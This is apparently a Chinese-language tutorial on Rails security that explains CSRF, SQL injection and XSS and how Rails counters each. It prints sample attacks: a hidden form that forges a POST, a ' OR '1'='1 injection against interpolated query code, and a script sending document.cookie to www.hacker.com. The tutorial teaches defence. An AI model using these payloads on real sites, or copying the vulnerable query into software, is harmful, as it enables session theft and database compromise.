rails安全,CSRF和注入攻击(XSS,SQL注入)

Web安全在web开发中占有相当重要的地位,今天介绍下关于web安全方面的问题(CSRF,和注入攻击),以及rails是如何实现来防止这些攻击的。

首先介绍下什么是CSRF?中文名称:跨站请求伪造

  • 简介:

    跨站请求伪造的工作原理是,通过在页面中包含恶意代码或链接,访问已验证用户才能访问的 Web 应用。如果该 Web 应用的会话未超时,攻击者就能执行未经授权的操作。

  • 原理:

    大多数应用都使用基于 cookie 的会话。它们或者把会话 ID 储存在 cookie 中并在服务器端储存会话散列,或者把整个会话散列储存在客户端。不管是哪种情况,只要浏览器能够找到某个域名对应的 cookie,就会自动在发送请求时包含该 cookie。有争议的是,即便请求来源于另一个域名上的网站,浏览器在发送请求时也会包含客户端的 cookie。

  • 举例:

我们在本地分别起两个服务(修改/etc/hosts 将两个域名指向本地,然后通过nginx反向代理),来演示1. www.mubiao.com 为我们要攻击的网站,2. www.hacker.com 为我们自己的网站。假设我们已经猜测出目标网站的某些可用的url,比如:

1
2
http://www.mubiao.com/orders.html
http://www.mubiao.com/ancient/articles

然后我们在自己的网站上做一些陷阱,在某个页面加入

1
2
3
4
5
6
7
8
9
<img src='http://www.mubiao.com/orders.html' >
<a href="#" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'post';
f.action = 'http://www.mubiao.com/ancient/articles';
f.submit();
return false;">点我啊</a>

小陈是目标网站的管理人员,并且已经在目标网站登录了管理员账号,hacker将hacker.com通过某种方式发送给小陈,小陈访问,并且点击会发生什么呢,浏览器会在发送请求的时候带上目标网站的cookie,目标网站会认为这个会话是有效的。所以hacker只要知道目标网站的请求地址,并诱导小陈点击,即可借小陈之手,完成所有想要的操作。

  • 如何防范?

    首先,根据 W3C 的要求,应该适当地使用 GET 和 POST HTTP 方法。其次,在非 GET 请求中使用安全令牌(security token)可以防止应用受到 CSRF 攻击
    使用 GET HTTP 方法的情形:
    当交互更像是在询问时,例如查询、读取、查找等安全操作。
    使用 POST HTTP 方法的情形:
    当交互更像是在执行命令时;
    当交互改变了资源的状态并且这种变化能够被用户察觉时,例如订阅某项服务;
    当用户需要对交互结果负责时。

  • 原理
    那么rails是如何实现安全令牌的呢?
    view添加(ajax提交) form表单会自动生成authenticity_token

    1
    <%= csrf_meta_tags %>

congroller中添加

1
protect_from_forgery with: :exception

csrf_meta_tags helper方法会在页面生成token,protect_from_forgery会添加一个before_action来校验前台传过来的token,具体实现之前秦阳有讲过,就不细说了,放一张流程图。

注入攻击

注入这种攻击方式,会把恶意代码或参数写入 Web 应用,以便在应用的安全上下文中执行。注入攻击最著名的例子是跨站脚本(XSS)和 SQL 注入攻击。

SQL注入

  • 举例
1
Product.where("xxx_id = 1 AND status = '#{params[:status]}' AND xxx='#{params[:aaa]}'")

如果用户输入:’ OR ‘1’=’1,会跳过校验。

  • 如何防范
    推荐的写法为
    1
    Product.where(xxx_id: 1).where("status = ? and xx = ?",params[:status],params[:aaa])

Ruby on Rails 内置了针对特殊 SQL 字符的过滤器,用于转义 ‘、”、NULL 和换行符。当我们使用 Model.find(id) 和 Model.find_by_something(something) 方法时,Rails 会自动应用这个过滤器。遇到需要在 SQL 中使用外部字符串的情况时,请养成考虑安全问题的习惯。

  • 原理

那rails是如何实现转义的呢,通过查找源码发现,最终调用的是Mysql提供的C接口,接口名称为mysql_real_escape_string

1
2
3
#mysql2-0.3.18/ext/mysql2/client.c
rb_define_singleton_method(cMysql2Client, "escape", rb_mysql_client_escape, 1);

active_record提供了Sanitization类,可以手动调用转义

1
Product::sanitize(string)

跨站脚本(XSS)

  • 简介

    对 Web 应用而言,XSS 是影响范围最广、破坏性最大的安全漏洞。这种恶意攻击方式会在客户端注入可执行代码。

  • 举例
    例如,在留言或者文章中输入:

    1
    <script>document.write('<img src="http://www.hacker.com/' + document.cookie + '">');</script>

当用户在浏览目标网站的时候,会向hacker.com发送自己的cookie,导致cookie泄露。

  • 防范:

    尤其对于 XSS,重要的是使用白名单而不是黑名单过滤输入。白名单过滤规定允许输入的值,反之,黑名单过滤规定不允许输入的值。经验告诉我们,黑名单永远做不到万无一失。

rails提供了sanitize helper方法可以过滤掉有问题的标签

  • 原理
    通过设置白名单tags,如果不在白名单allowed_tags内,删除。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    # actionview-4.1.7/lib/action_view/vendor/html-scanner/html/sanitizer.rb
    class WhiteListSanitizer < Sanitizer
    ....
    self.allowed_tags = Set.new(%w(strong em b i p code pre tt samp kbd var sub
    sup dfn cite big small address hr br div span h1 h2 h3 h4 h5 h6 ul ol li dl dt dd abbr
    acronym a img blockquote del ins))
    self.allowed_attributes = Set.new(%w(href src width height alt cite datetime title class name xml:lang abbr))
    ....
    end
    private
    def process_attributes_for(node, options)
    return unless node.attributes
    node.attributes.keys.each do |attr_name|
    value = node.attributes[attr_name].to_s
    if !options[:attributes].include?(attr_name) || contains_bad_protocols?(attr_name, value)
    node.attributes.delete(attr_name)
    else
    node.attributes[attr_name] = attr_name == 'style' ? sanitize_css(value) : CGI::escapeHTML(CGI::unescapeHTML(value))
    end
    end
    end

参考文档

深入 Rails 中的 CSRF Protection
Ruby on Rails 安全指南
C语言Mysql接口